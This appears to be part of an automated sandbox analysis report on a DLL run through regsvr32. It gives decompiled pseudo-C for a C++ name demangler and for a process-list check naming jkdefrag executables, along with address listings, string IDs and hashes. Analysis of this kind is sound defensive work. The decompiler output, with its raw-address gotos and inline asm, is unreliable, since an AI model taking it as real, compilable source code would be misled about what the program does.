				r8d = 7;
				goto 0x8001e9a9;
				r8d = 7;
				goto 0x8001e9a9;
				_t175 = _t141 - 0x53;
				if (_t175 > 0) goto 0x8001e94a;
				if (_t175 == 0) goto 0x8001e93b;
				if (_t175 == 0) goto 0x8001e92c;
				if (_t175 == 0) goto 0x8001e827;
				if (_t175 == 0) goto 0x8001e815;
				if (_t175 == 0) goto 0x8001e803;
				if (_t141 - 0x4b != 1) goto 0x8001e963;
				_t29 = _t218 + 8; // -73
				r8d = _t29;
				goto 0x8001e9a9;
				r8d = 7;
				goto 0x8001e9a9;
				r8d = 4;
				goto 0x8001e9a9;
				_v56 = _v56 & 0x00000000;
				_v48 = _v48 & 0x00000000;
				_t104 =  *(_t209 + 8);
				_v24 =  *_t209;
				_v16 = _t104;
				if (0xfffffffe != 0xfffffffe) goto 0x8001e8a6;
				r9d = 0;
				_v16 = _t104 | 0x00000800;
				E00000001180021AD8(_t160, _t162, _t209,  &_v40,  &_v56, _t269, _t271,  &_v24, _t272);
				if ((0x00000800 & _v32) != 0) goto 0x8001e897;
				_v16 = 2;
				_v24 = 0x800c2a30;
				_t252 =  &_v24;
				asm("movaps xmm0, [ebp-0x10]");
				asm("movdqa [ebp-0x10], xmm0");
				E0000000118001C920(_t160, _t162, 0x800c2a30, _t209,  &_v40, _t252, _t271);
				_t148 = _v32;
				 *_t269 = _v40;
				 *(_t269 + 8) = _t148;
				goto 0x8001ea90;
				if (_t252 != 0) goto 0x8001e911;
				_t124 = _t148 & 0x00000002;
				if ((_t148 & 0x00000001) == 0) goto 0x8001e8f7;
				_t53 = _t252 + 5; // 0x5
				r8d = _t53;
				E0000000118001C024(_v40, _t209,  &_v56, "const", _t269, _t271);
				if (_t124 == 0) goto 0x8001e911;
				_v32 = 9;
				_v40 = " volatile";
				asm("movaps xmm0, [ebp-0x20]");
				asm("movdqa [ebp-0x20], xmm0");
				E0000000118001C920(_t160, _t162, " volatile", _t209,  &_v56,  &_v40, _t271);
				goto 0x8001e911;
				_t182 = _t124;
				if (_t182 == 0) goto 0x8001e911;
				r8d = 8;
				E0000000118001C024(" volatile", _t209,  &_v56, "volatile", _t269, _t271);
				r9d = 1;
				_t280 =  &_v24;
				E00000001180021AD8(_t160, _t162, _t209, _t269,  &_v56, _t269, _t271, _t280);
				goto 0x8001ea90;
				r8d = 4;
				goto 0x8001e9a9;
				r8d = 8;
				goto 0x8001e9a9;
				if (_t182 == 0) goto 0x8001e99c;
				if (_t182 == 0) goto 0x8001e98d;
				if (_t182 == 0) goto 0x8001e97e;
				if (_t182 == 0) goto 0x8001e972;
				if (_t148 - 0x50 == 1) goto 0x8001e972;
				r8d = 7;
				goto 0x8001e9a9;
				 *0x800d9928 = _t280;
				goto 0x8001e67e;
				r8d = 7;
				goto 0x8001e9a9;
				r8d = 8;
				goto 0x8001e9a9;
				r8d = 0xe;
				E0000000118001C024(" volatile", _t209,  &_v56, "decltype(auto)", _t269, _t271);
				if (r14b == 0x43) goto 0x8001e9e6;
				_t63 = _t285 - 0x45; // -69
				if ((_t63 & 0x000000f9) == 0) goto 0x8001e9d6;
				if (r14b != 0x5f) goto 0x8001ea2c;
				r15b = r15b - 0x45;
				if (r15b - 8 > 0) goto 0x8001ea2c;
				if ((r15b & 0x00000001) != 0) goto 0x8001ea2c;
				_v16 = 9;
				goto 0x8001e9f4;
				_v16 = 7;
				_v24 = "signed ";
				asm("movaps xmm0, [ebp-0x10]");
				asm("movdqa [ebp-0x10], xmm0");
				E0000000118001C2DC("signed ",  &_v40,  &_v24);
				E0000000118001C858("signed ",  &_v24,  &_v56);
				_v56 = _v24;
				_v48 = _v16;
				if ( *_t209 == 0) goto 0x8001ea63;
				_v24 = _v24 & 0x00000000;
				_v16 = _v16 & 0x00000000;
				E0000000118001DC30(0x20, _v24, _t209,  &_v24);
				E0000000118001C858( &_v24,  &_v40, _t209);
				E0000000118001C9A0(_t148 - 0x50,  &_v56,  &_v40, _t209);
				 *_t269 = _v56;
				 *(_t269 + 8) = _v48;
				goto 0x8001ea90;
				_v16 = _v16 & 0x00000000;
				_v24 = 0x800c36a0;
				return E0000000118001C858( &_v24, _t269, _t209);
			}











































                                                                                                        0x18001e500
                                                                                                        0x18001e500
                                                                                                        0x18001e500
                                                                                                        0x18001e500
                                                                                                        0x18001e503
                                                                                                        0x18001e507
                                                                                                        0x18001e50b
                                                                                                        0x18001e50f
                                                                                                        0x18001e51b
                                                                                                        0x18001e522
                                                                                                        0x18001e525
                                                                                                        0x18001e528
                                                                                                        0x18001e52f
                                                                                                        0x18001e535
                                                                                                        0x18001e53a
                                                                                                        0x18001e53a
                                                                                                        0x18001e53e
                                                                                                        0x18001e542
                                                                                                        0x18001e545
                                                                                                        0x18001e54c
                                                                                                        0x18001e54f
                                                                                                        0x18001e553
                                                                                                        0x18001e559
                                                                                                        0x18001e55f
                                                                                                        0x18001e562
                                                                                                        0x18001e564
                                                                                                        0x18001e569
                                                                                                        0x18001e56e
                                                                                                        0x18001e573
                                                                                                        0x18001e578
                                                                                                        0x18001e57d
                                                                                                        0x18001e582
                                                                                                        0x18001e584
                                                                                                        0x18001e587
                                                                                                        0x18001e589
                                                                                                        0x18001e58c
                                                                                                        0x18001e592
                                                                                                        0x18001e59f
                                                                                                        0x18001e5a4
                                                                                                        0x18001e5b1
                                                                                                        0x18001e5b6
                                                                                                        0x18001e5c3
                                                                                                        0x18001e5c8
                                                                                                        0x18001e5d5
                                                                                                        0x18001e5df
                                                                                                        0x18001e5e4
                                                                                                        0x18001e5e9
                                                                                                        0x18001e5ee
                                                                                                        0x18001e5f3
                                                                                                        0x18001e5f8
                                                                                                        0x18001e5fd
                                                                                                        0x18001e602
                                                                                                        0x18001e607
                                                                                                        0x18001e618
                                                                                                        0x18001e61d
                                                                                                        0x18001e62b
                                                                                                        0x18001e633
                                                                                                        0x18001e63b
                                                                                                        0x18001e640
                                                                                                        0x18001e645
                                                                                                        0x18001e64a
                                                                                                        0x18001e657
                                                                                                        0x18001e65c
                                                                                                        0x18001e669
                                                                                                        0x18001e671
                                                                                                        0x18001e673
                                                                                                        0x18001e673
                                                                                                        0x18001e677
                                                                                                        0x18001e682
                                                                                                        0x18001e687
                                                                                                        0x18001e68a
                                                                                                        0x18001e68d
                                                                                                        0x18001e691
                                                                                                        0x18001e697
                                                                                                        0x18001e69d
                                                                                                        0x18001e6a0
                                                                                                        0x18001e6a3
                                                                                                        0x18001e6a8
                                                                                                        0x18001e6ac
                                                                                                        0x18001e6b0
                                                                                                        0x18001e6b7
                                                                                                        0x18001e6ba
                                                                                                        0x18001e6be
                                                                                                        0x18001e6c4
                                                                                                        0x18001e6ca
                                                                                                        0x18001e6cd
                                                                                                        0x18001e6d3
                                                                                                        0x18001e6d5
                                                                                                        0x18001e6d8
                                                                                                        0x18001e6dd
                                                                                                        0x18001e6e2
                                                                                                        0x18001e6e4
                                                                                                        0x18001e6e7
                                                                                                        0x18001e6e9
                                                                                                        0x18001e6ec
                                                                                                        0x18001e6f2
                                                                                                        0x18001e6ff
                                                                                                        0x18001e704
                                                                                                        0x18001e711
                                                                                                        0x18001e716
                                                                                                        0x18001e71d
                                                                                                        0x18001e724
                                                                                                        0x18001e72c
                                                                                                        0x18001e730
                                                                                                        0x18001e735
                                                                                                        0x18001e73e
                                                                                                        0x18001e745
                                                                                                        0x18001e74a
                                                                                                        0x18001e74d
                                                                                                        0x18001e759
                                                                                                        0x18001e760
                                                                                                        0x18001e764
                                                                                                        0x18001e76b
                                                                                                        0x18001e773
                                                                                                        0x18001e778
                                                                                                        0x18001e77d
                                                                                                        0x18001e77f
                                                                                                        0x18001e782
                                                                                                        0x18001e787
                                                                                                        0x18001e78d
                                                                                                        0x18001e79a
                                                                                                        0x18001e79f
                                                                                                        0x18001e7ac
                                                                                                        0x18001e7b1
                                                                                                        0x18001e7be
                                                                                                        0x18001e7c3
                                                                                                        0x18001e7c6
                                                                                                        0x18001e7cc
                                                                                                        0x18001e7d5
                                                                                                        0x18001e7de
                                                                                                        0x18001e7e3
                                                                                                        0x18001e7e8
                                                                                                        0x18001e7ed
                                                                                                        0x18001e7f3
                                                                                                        0x18001e7f3
                                                                                                        0x18001e7fe
                                                                                                        0x18001e803
                                                                                                        0x18001e810
                                                                                                        0x18001e815
                                                                                                        0x18001e822
                                                                                                        0x18001e82c
                                                                                                        0x18001e831
                                                                                                        0x18001e838
                                                                                                        0x18001e83b
                                                                                                        0x18001e83f
                                                                                                        0x18001e845
                                                                                                        0x18001e856
                                                                                                        0x18001e859
                                                                                                        0x18001e860
                                                                                                        0x18001e86a
                                                                                                        0x18001e86c
                                                                                                        0x18001e87a
                                                                                                        0x18001e87e
                                                                                                        0x18001e882
                                                                                                        0x18001e88a
                                                                                                        0x18001e88f
                                                                                                        0x18001e894
                                                                                                        0x18001e89b
                                                                                                        0x18001e89e
                                                                                                        0x18001e8a1
                                                                                                        0x18001e8a9
                                                                                                        0x18001e8ad
                                                                                                        0x18001e8b3
                                                                                                        0x18001e8b5
                                                                                                        0x18001e8b5
                                                                                                        0x18001e8c4
                                                                                                        0x18001e8cb
                                                                                                        0x18001e8cd
                                                                                                        0x18001e8db
                                                                                                        0x18001e8e3
                                                                                                        0x18001e8eb
                                                                                                        0x18001e8f0
                                                                                                        0x18001e8f5
                                                                                                        0x18001e8f7
                                                                                                        0x18001e8f9
                                                                                                        0x18001e8fb
                                                                                                        0x18001e90c
                                                                                                        0x18001e911
                                                                                                        0x18001e917
                                                                                                        0x18001e922
                                                                                                        0x18001e927
                                                                                                        0x18001e92c
                                                                                                        0x18001e939
                                                                                                        0x18001e93b
                                                                                                        0x18001e948
                                                                                                        0x18001e94d
                                                                                                        0x18001e952
                                                                                                        0x18001e957
                                                                                                        0x18001e95c
                                                                                                        0x18001e961
                                                                                                        0x18001e963
                                                                                                        0x18001e970
                                                                                                        0x18001e972
                                                                                                        0x18001e979
                                                                                                        0x18001e97e
                                                                                                        0x18001e98b
                                                                                                        0x18001e98d
                                                                                                        0x18001e99a
                                                                                                        0x18001e99c
                                                                                                        0x18001e9ad
                                                                                                        0x18001e9b6
                                                                                                        0x18001e9b8
                                                                                                        0x18001e9be
                                                                                                        0x18001e9c4
                                                                                                        0x18001e9c6
                                                                                                        0x18001e9ce
                                                                                                        0x18001e9d4
                                                                                                        0x18001e9dd
                                                                                                        0x18001e9e4
                                                                                                        0x18001e9ed
                                                                                                        0x18001e9f4
                                                                                                        0x18001e9fc
                                                                                                        0x18001ea04
                                                                                                        0x18001ea09
                                                                                                        0x18001ea19
                                                                                                        0x18001ea22
                                                                                                        0x18001ea29
                                                                                                        0x18001ea30
                                                                                                        0x18001ea32
                                                                                                        0x18001ea3b
                                                                                                        0x18001ea41
                                                                                                        0x18001ea51
                                                                                                        0x18001ea5e
                                                                                                        0x18001ea67
                                                                                                        0x18001ea6d
                                                                                                        0x18001ea70
                                                                                                        0x18001ea72
                                                                                                        0x18001ea7d
                                                                                                        0x18001eaac

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Name::operator+
                                                                                                        • String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $unsigned $void$volatile$wchar_t
                                                                                                        • API String ID: 2943138195-1388207849
                                                                                                        • Opcode ID: f75b4f46502b42836182d79107c5696fb70b9392ee7eaa134c047be0bb0a041c
                                                                                                        • Instruction ID: 0dd51c9de23da5a64b7f4f1acd410dfa396310f5429315c6747de4bcb7001ab0
                                                                                                        • Opcode Fuzzy Hash: f75b4f46502b42836182d79107c5696fb70b9392ee7eaa134c047be0bb0a041c
                                                                                                        • Instruction Fuzzy Hash: 43F14C72620F9898FBD68B68D8943EC27B1B74E7C8F44C516EA4916AA8DF74C74CC341
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800015BC Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 112COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 46%
                                                                                                        			E000000011800015BC(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi) {
				long _t37;
				long _t42;
				void* _t48;
				long _t60;
				void* _t72;
				signed long long _t73;
				signed long long _t74;
				void* _t95;
				void* _t107;
				void* _t109;
				void* _t110;
				void* _t112;
				signed long long _t113;
				void* _t119;

				_t95 = __rdx;
				_t72 = _t112;
				 *((long long*)(_t72 + 0x10)) = __rbx;
				 *((long long*)(_t72 + 0x18)) = __rsi;
				 *((long long*)(_t72 + 0x20)) = __rdi;
				_t110 = _t72 - 0x978;
				_t113 = _t112 - 0xa70;
				_t73 =  *0x800d81f8; // 0x68308725f9ca
				_t74 = _t73 ^ _t113;
				 *(_t110 + 0x960) = _t74;
				_t107 = __rcx;
				_t6 = _t95 + 2; // 0x2
				0x80013d70();
				if (_t74 != 0xffffffff) goto 0x8000165c;
				_t37 = GetLastError();
				r9d = 0x200;
				E0000000118000EFAC(_t37, _t74, _t110 + 0x160, _t119);
				E00000001180003248(_t6, _t74, _t110 + 0x560, _t95, L"Cannot get process snapshot: %s", _t110 + 0x160, _t109);
				r8d = 0;
				E00000001180004968(_t6, 0, _t74,  *((intOrPtr*)(_t107 + 0x10)), _t95, L"Cannot get process snapshot: %s", _t110 + 0x560);
				goto 0x8000175b;
				 *((intOrPtr*)(_t113 + 0x20)) = 0x130;
				_t42 = GetCurrentProcessId();
				 *((char*)(_t110 + 0x50)) = 0;
				_t60 = _t42;
				0x80013d76();
				if (_t42 == 0) goto 0x800016a9;
				if (_t60 ==  *((intOrPtr*)(_t113 + 0x28))) goto 0x80001696;
				0x80013d7c();
				goto 0x8000167d;
				E0000000118002686C(_t74, _t110 + 0x50, _t113 + 0x20, _t113 + 0x4c);
				if ( *((char*)(_t110 + 0x50)) != 0) goto 0x800016d7;
				E00000001180003248(_t6, _t74, _t110 + 0x160, _t113 + 0x20, L"Cannot find my own name in the process list: %s", _t110 + 0x50);
				goto 0x80001644;
				0x80013d76();
				if (_t60 ==  *((intOrPtr*)(_t113 + 0x28))) goto 0x8000173f;
				if (E00000001180026A54(_t74, _t113 + 0x4c) == 0) goto 0x80001783;
				if (E00000001180026A54(_t74, _t113 + 0x4c) == 0) goto 0x80001783;
				if (E00000001180026A54(_t74, _t113 + 0x4c) == 0) goto 0x80001783;
				_t48 = E00000001180026A54(_t74, _t113 + 0x4c);
				if (_t48 == 0) goto 0x80001783;
				0x80013d7c();
				if (_t48 != 0) goto 0x800016e4;
				CloseHandle(??);
				return E000000011800149A0(0, _t6,  *(_t110 + 0x960) ^ _t113);
			}

















                                                                                                        0x1800015bc
                                                                                                        0x1800015bc
                                                                                                        0x1800015bf
                                                                                                        0x1800015c3
                                                                                                        0x1800015c7
                                                                                                        0x1800015cc
                                                                                                        0x1800015d3
                                                                                                        0x1800015da
                                                                                                        0x1800015e1
                                                                                                        0x1800015e4
                                                                                                        0x1800015ed
                                                                                                        0x1800015f0
                                                                                                        0x1800015f3
                                                                                                        0x1800015ff
                                                                                                        0x180001601
                                                                                                        0x180001619
                                                                                                        0x18000161c
                                                                                                        0x180001638
                                                                                                        0x180001648
                                                                                                        0x18000164d
                                                                                                        0x180001657
                                                                                                        0x18000165c
                                                                                                        0x180001664
                                                                                                        0x18000166f
                                                                                                        0x180001676
                                                                                                        0x180001678
                                                                                                        0x18000167f
                                                                                                        0x180001685
                                                                                                        0x18000168f
                                                                                                        0x180001694
                                                                                                        0x1800016a4
                                                                                                        0x1800016ad
                                                                                                        0x1800016c6
                                                                                                        0x1800016d2
                                                                                                        0x1800016df
                                                                                                        0x1800016e8
                                                                                                        0x1800016fa
                                                                                                        0x180001713
                                                                                                        0x180001728
                                                                                                        0x180001736
                                                                                                        0x18000173d
                                                                                                        0x180001747
                                                                                                        0x18000174e
                                                                                                        0x180001753
                                                                                                        0x180001782

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Process32swprintf$CloseHandleNext$CurrentErrorFirstFormatLastMessageProcess
                                                                                                        • String ID: Cannot find my own name in the process list: %s$Cannot get process snapshot: %s$I am already running: %S$jkdefrag.exe$jkdefragcmd.exe$jkdefragscreensaver.exe
                                                                                                        • API String ID: 463459889-3333689214
                                                                                                        • Opcode ID: 744cb15936ce22d8e7e05229780a12fa5450d72ee6d28b941bb29c765a59fbf5
                                                                                                        • Instruction ID: 381a7caf77889e40b9684b6663163a2fa54323289dd95800d67a11724b49f48c
                                                                                                        • Opcode Fuzzy Hash: 744cb15936ce22d8e7e05229780a12fa5450d72ee6d28b941bb29c765a59fbf5
                                                                                                        • Instruction Fuzzy Hash: 9D517D32204A8D99EBA2DB21E8413DA33A1F78D7D8F94D122BA5D47695DF39C70DC740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800202C4 Relevance: 22.9, APIs: 15, Instructions: 358COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 88%
                                                                                                        			E000000011800202C4(void* __ecx, void* __edi, long long __rbx, long long* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi) {
				void* __r12;
				signed int _t169;
				unsigned int _t173;
				unsigned int _t184;
				unsigned int _t212;
				signed int _t225;
				void* _t228;
				signed int _t229;
				unsigned int _t230;
				signed int _t250;
				void* _t259;
				void* _t285;
				intOrPtr* _t289;
				char* _t292;
				long long* _t294;
				long long _t296;
				intOrPtr* _t304;
				char* _t305;
				char* _t306;
				char* _t347;
				void* _t353;
				long long* _t370;
				long long* _t374;
				void* _t376;
				void* _t377;
				void* _t379;
				void* _t395;
				void* _t396;
				void* _t398;
				long long _t400;
				void* _t402;
				void* _t406;
				intOrPtr* _t407;

				_t372 = __rsi;
				_t245 = __edi;
				_t228 = __ecx;
				_t285 = _t379;
				 *((long long*)(_t285 + 8)) = __rbx;
				 *((long long*)(_t285 + 0x10)) = __rsi;
				 *((long long*)(_t285 + 0x18)) = __rdi;
				_t377 = _t285 - 0x5f;
				_t370 = __rcx;
				r13d = 0;
				_t304 =  *0x800d9928; // 0x0
				_t407 = __rdx;
				if ( *_t304 != r13b) goto 0x8002031f;
				 *(_t377 - 0x11) = r13d;
				 *((long long*)(_t377 - 0x19)) = 0x800c36a0;
				_t305 = _t377 - 0x19;
				E0000000118001C858(_t305, __rcx, __rdx);
				goto 0x800207d5;
				if ( *_t305 - 0x36 - 3 <= 0) goto 0x80020330;
				if ( *_t305 != 0x5f) goto 0x800207ca;
				r8d = r8d | 0xffffffff;
				_t306 = _t305 + 1;
				 *0x800d9928 = _t306;
				if ( *_t305 - 0x36 != 0x29) goto 0x8002036e;
				if ( *_t306 == r13b) goto 0x800202fc;
				_t8 = _t306 + 1; // 0x2
				_t347 = _t8;
				 *0x800d9928 = _t347;
				_t250 =  >  ? r8d :  *_t306 - 0x3d;
				goto 0x80020382;
				if (_t250 < 0) goto 0x800207ca;
				if (_t250 - 3 > 0) goto 0x800207ca;
				_t259 = _t250 - r8d;
				if (_t259 == 0) goto 0x800207ca;
				r12d = _t250;
				 *((long long*)(_t377 - 0x29)) = _t400;
				 *(_t377 - 0x21) = r13d;
				 *((long long*)(_t377 - 0x39)) =  *_t407;
				 *(_t377 - 0x31) =  *(_t407 + 8);
				r12d = r12d & 0x00000002;
				if (_t259 == 0) goto 0x800204fe;
				if ( *_t347 == 0x40) goto 0x8002048c;
				 *(_t377 - 0x11) = 2;
				 *((long long*)(_t377 - 0x19)) = "::";
				asm("movaps xmm0, [ebp-0x19]");
				asm("movdqa [ebp+0x7], xmm0");
				E0000000118001C2DC("::", _t377 - 9, _t377 + 7);
				E0000000118001C858("::", _t377 - 0x19, _t377 - 0x39);
				 *((long long*)(_t377 - 0x39)) =  *((intOrPtr*)(_t377 - 0x19));
				 *(_t377 - 0x31) =  *(_t377 - 0x11);
				_t289 =  *0x800d9928; // 0x0
				if ( *_t289 == r13b) goto 0x8002045c;
				E00000001180021EC8(__edi, __rbx, _t377 - 9, _t370, __rsi, _t395, _t396, _t398);
				 *((long long*)(_t377 - 0x19)) = _t400;
				 *(_t377 - 0x11) = r13d;
				E0000000118001DC30(0x20, _t289, _t289, _t377 - 0x19);
				E0000000118001C858(_t377 - 0x19, _t377 + 7, _t289);
				E0000000118001C858(_t377 + 7, _t377 + 0x27, _t377 - 0x39);
				 *((long long*)(_t377 - 0x39)) =  *_t289;
				goto 0x80020480;
				 *(_t377 - 0x11) = r13d;
				_t353 = _t377 - 9;
				 *((long long*)(_t377 - 0x19)) = 0x800c36a0;
				E0000000118001C858(_t377 - 0x19, _t353, _t377 - 0x39);
				 *((long long*)(_t377 - 0x39)) =  *((intOrPtr*)(_t377 - 9));
				 *(_t377 - 0x31) =  *(_t377 - 1);
				goto 0x80020497;
				_t45 = _t353 + 1; // 0x2
				_t292 = _t45;
				 *0x800d9928 = _t292;
				if ( *_t292 == r13b) goto 0x80020598;
				if ( *_t292 != 0x40) goto 0x800207ca;
				 *((long long*)(_t377 - 9)) = _t400;
				 *0x800d9928 = _t292 + 1;
				r8d = 0;
				_t169 =  *0x800d9938; // 0x0
				 *(_t377 - 1) = r13d;
				 *((intOrPtr*)(_t379 - 0xa0 + 0x20)) = 1;
				if ((_t169 & 0x00000060) == 0x60) goto 0x8002056c;
				 *((long long*)(_t377 - 0x19)) = _t400;
				 *(_t377 - 0x11) = r13d;
				E0000000118001ED2C(__edi, _t289, _t377 + 7, _t377 - 0x19, _t370, _t372, _t377 - 9);
				_t294 =  *((intOrPtr*)(_t377 + 7));
				 *((long long*)(_t377 - 0x29)) = _t294;
				 *(_t377 - 0x21) =  *(_t377 + 0xf);
				r14d = 0xffffff00;
				if ((sil & 0x00000004) == 0) goto 0x800205ca;
				_t173 =  *0x800d9938; // 0x0
				if (( !(_t173 >> 1) & 0x00000001) == 0) goto 0x800205ad;
				E0000000118001E408(_t228, __edi,  !(_t173 >> 1) & 0x00000001, _t294, _t289, _t377 + 0x27, _t372, _t377 - 0x39, _t406);
				 *((long long*)(_t377 - 0x19)) = _t400;
				 *(_t377 - 0x11) = r13d;
				_t300 = _t294;
				E0000000118001DC30(0x20, _t294, _t294, _t377 - 0x19);
				E0000000118001C858(_t377 - 0x19, _t377 + 7, _t294);
				E0000000118001C858(_t377 + 7, _t377 - 9, _t377 - 0x39);
				 *((long long*)(_t377 - 0x39)) =  *_t294;
				goto 0x800205c7;
				 *((long long*)(_t377 + 7)) = _t400;
				 *(_t377 + 0xf) = r13d;
				E0000000118001ED2C(__edi, _t294, _t377 - 0x19, _t377 - 9, _t370, _t372, _t377 + 7);
				if ( *(_t377 - 0x11) - 1 <= 0) goto 0x800204fe;
				goto 0x800204fb;
				 *(_t377 + 0xf) = r13d;
				 *((long long*)(_t377 + 7)) = 0x800c36a0;
				goto 0x80020312;
				E0000000118001E408(_t228, __edi,  *(_t377 - 0x11) - 1, _t294, _t294, _t377 + 7, _t372, _t377 - 0x39, _t402);
				if ( *(_t377 - 0x31) == 3) goto 0x800205ca;
				if ( *(_t294 + 8) - 1 <= 0) goto 0x800205ca;
				_t225 =  *(_t294 + 8) & r14d |  *(_t294 + 8) & 0x000000ff;
				 *(_t377 - 0x31) = _t225;
				_t184 =  *0x800d9938; // 0x0
				if (( !(_t184 >> 1) & 0x00000001) == 0) goto 0x80020600;
				E0000000118001EBEC(_t294, _t377 + 0x27, _t370, _t372, _t400, _t398);
				E0000000118001C858(_t294, _t377 + 7, _t377 - 0x39);
				 *((long long*)(_t377 - 0x39)) =  *_t294;
				 *(_t377 - 0x31) =  *(_t294 + 8);
				goto 0x8002061d;
				E0000000118001EBEC(_t294,  *_t294, _t370, _t372);
				if ( *(_t377 - 0x31) == 3) goto 0x8002061d;
				if ( *(_t294 + 8) - 1 <= 0) goto 0x8002061d;
				 *(_t377 - 0x31) = _t225 & r14d |  *(_t294 + 8) & 0x000000ff;
				if ( *_t407 == _t400) goto 0x80020663;
				 *((long long*)(_t377 - 0x19)) = _t400;
				 *(_t377 - 0x11) = r13d;
				E0000000118001DC30(0x28, _t294, _t300, _t377 - 0x19);
				E0000000118001C858(_t377 - 0x19, _t377 + 7, _t377 - 0x39);
				r8b = 0x29;
				E0000000118001C884(_t377 + 7, _t377 + 0x27);
				 *((long long*)(_t377 - 0x39)) =  *_t294;
				 *(_t377 - 0x31) =  *(_t294 + 8);
				E000000011800209B4(_t294, _t300, 0x800d9950, _t377 + 0x27, _t372, _t376);
				if (_t294 == 0) goto 0x80020685;
				 *_t294 = _t400;
				 *(_t294 + 8) = r13d;
				goto 0x80020688;
				_t374 = _t400;
				E00000001180021E94(_t245, _t377 + 0x17, _t370);
				E0000000118001DF00(_t300, _t377 + 0x27, _t374, _t374, _t377 - 0x39);
				 *((long long*)(_t377 - 0x19)) = _t400;
				 *(_t377 - 0x11) = r13d;
				_t301 = _t294;
				E0000000118001DC30(0x28, _t294, _t294, _t377 - 0x19);
				E0000000118001C858(_t377 - 0x19, _t377 + 7, _t301);
				r8b = 0x29;
				E0000000118001C884(_t377 + 7, _t377 - 9);
				E0000000118001C9A0(_t228, _t377 - 0x39, _t294, _t301);
				_t229 =  *0x800d9938; // 0x0
				if ((_t229 & 0x00000060) == 0x60) goto 0x80020706;
				if (r12d == 0) goto 0x80020706;
				E0000000118001C9A0(_t229, _t377 - 0x39, _t377 - 0x29, _t301);
				_t230 =  *0x800d9938; // 0x0
				if (( !(_t230 >> 0x13) & 0x00000001) == 0) goto 0x80020727;
				E00000001180021CC8(_t225 & r14d |  *(_t294 + 8) & 0x000000ff,  !(_t230 >> 0x13), _t245, _t301, _t377 + 0x27, _t370, _t374);
				E0000000118001C9A0( !(_t230 >> 0x13), _t377 - 0x39, _t294, _t301);
				goto 0x80020747;
				E00000001180021CC8(_t225 & r14d |  *(_t294 + 8) & 0x000000ff,  !(_t230 >> 0x13), _t245, _t301, _t377 - 0x39, _t370, _t374);
				if ( *(_t377 - 0x31) == 3) goto 0x80020747;
				if ( *(_t294 + 8) - 1 <= 0) goto 0x80020747;
				 *(_t377 - 0x31) =  *(_t377 - 0x31) & r14d |  *(_t294 + 8) & 0x000000ff;
				E00000001180020A58(_t377 + 0x27);
				E0000000118001C9A0( *(_t377 - 0x31) & r14d |  *(_t294 + 8) & 0x000000ff, _t377 - 0x39, _t294, _t301);
				_t212 =  *0x800d9938; // 0x0
				if (( !(_t212 >> 8) & 0x00000001) == 0) goto 0x800207a1;
				E000000011800234E8(_t377 + 0x27);
				E0000000118001C9A0( *(_t377 - 0x31) & r14d |  *(_t294 + 8) & 0x000000ff, _t377 - 0x39, _t294, _t301);
				if (_t374 == 0) goto 0x800207c0;
				 *_t374 =  *((intOrPtr*)(_t377 - 0x39));
				 *(_t374 + 8) =  *(_t377 - 0x31);
				_t296 =  *((intOrPtr*)(_t377 + 0x17));
				 *_t370 = _t296;
				 *(_t370 + 8) =  *(_t377 + 0x1f);
				goto 0x800207d5;
				E000000011800234E8(_t377 - 0x39);
				if ( *(_t377 - 0x31) == 3) goto 0x80020780;
				if ( *(_t296 + 8) - 1 <= 0) goto 0x80020780;
				goto 0x80020783;
				 *(_t370 + 8) = r13d;
				 *(_t370 + 8) = 3;
				goto 0x800207d2;
				 *(_t370 + 8) = r13d;
				 *(_t370 + 8) = 2;
				 *_t370 = _t400;
				return  *(_t296 + 8) & 0x000000ff;
			}




































                                                                                                        0x1800202c4
                                                                                                        0x1800202c4
                                                                                                        0x1800202c4
                                                                                                        0x1800202c4
                                                                                                        0x1800202c7
                                                                                                        0x1800202cb
                                                                                                        0x1800202cf
                                                                                                        0x1800202dc
                                                                                                        0x1800202e7
                                                                                                        0x1800202ea
                                                                                                        0x1800202ed
                                                                                                        0x1800202f4
                                                                                                        0x1800202fa
                                                                                                        0x180020303
                                                                                                        0x180020307
                                                                                                        0x18002030b
                                                                                                        0x180020315
                                                                                                        0x18002031a
                                                                                                        0x180020325
                                                                                                        0x18002032a
                                                                                                        0x180020333
                                                                                                        0x18002033a
                                                                                                        0x18002033d
                                                                                                        0x180020347
                                                                                                        0x18002034c
                                                                                                        0x180020351
                                                                                                        0x180020351
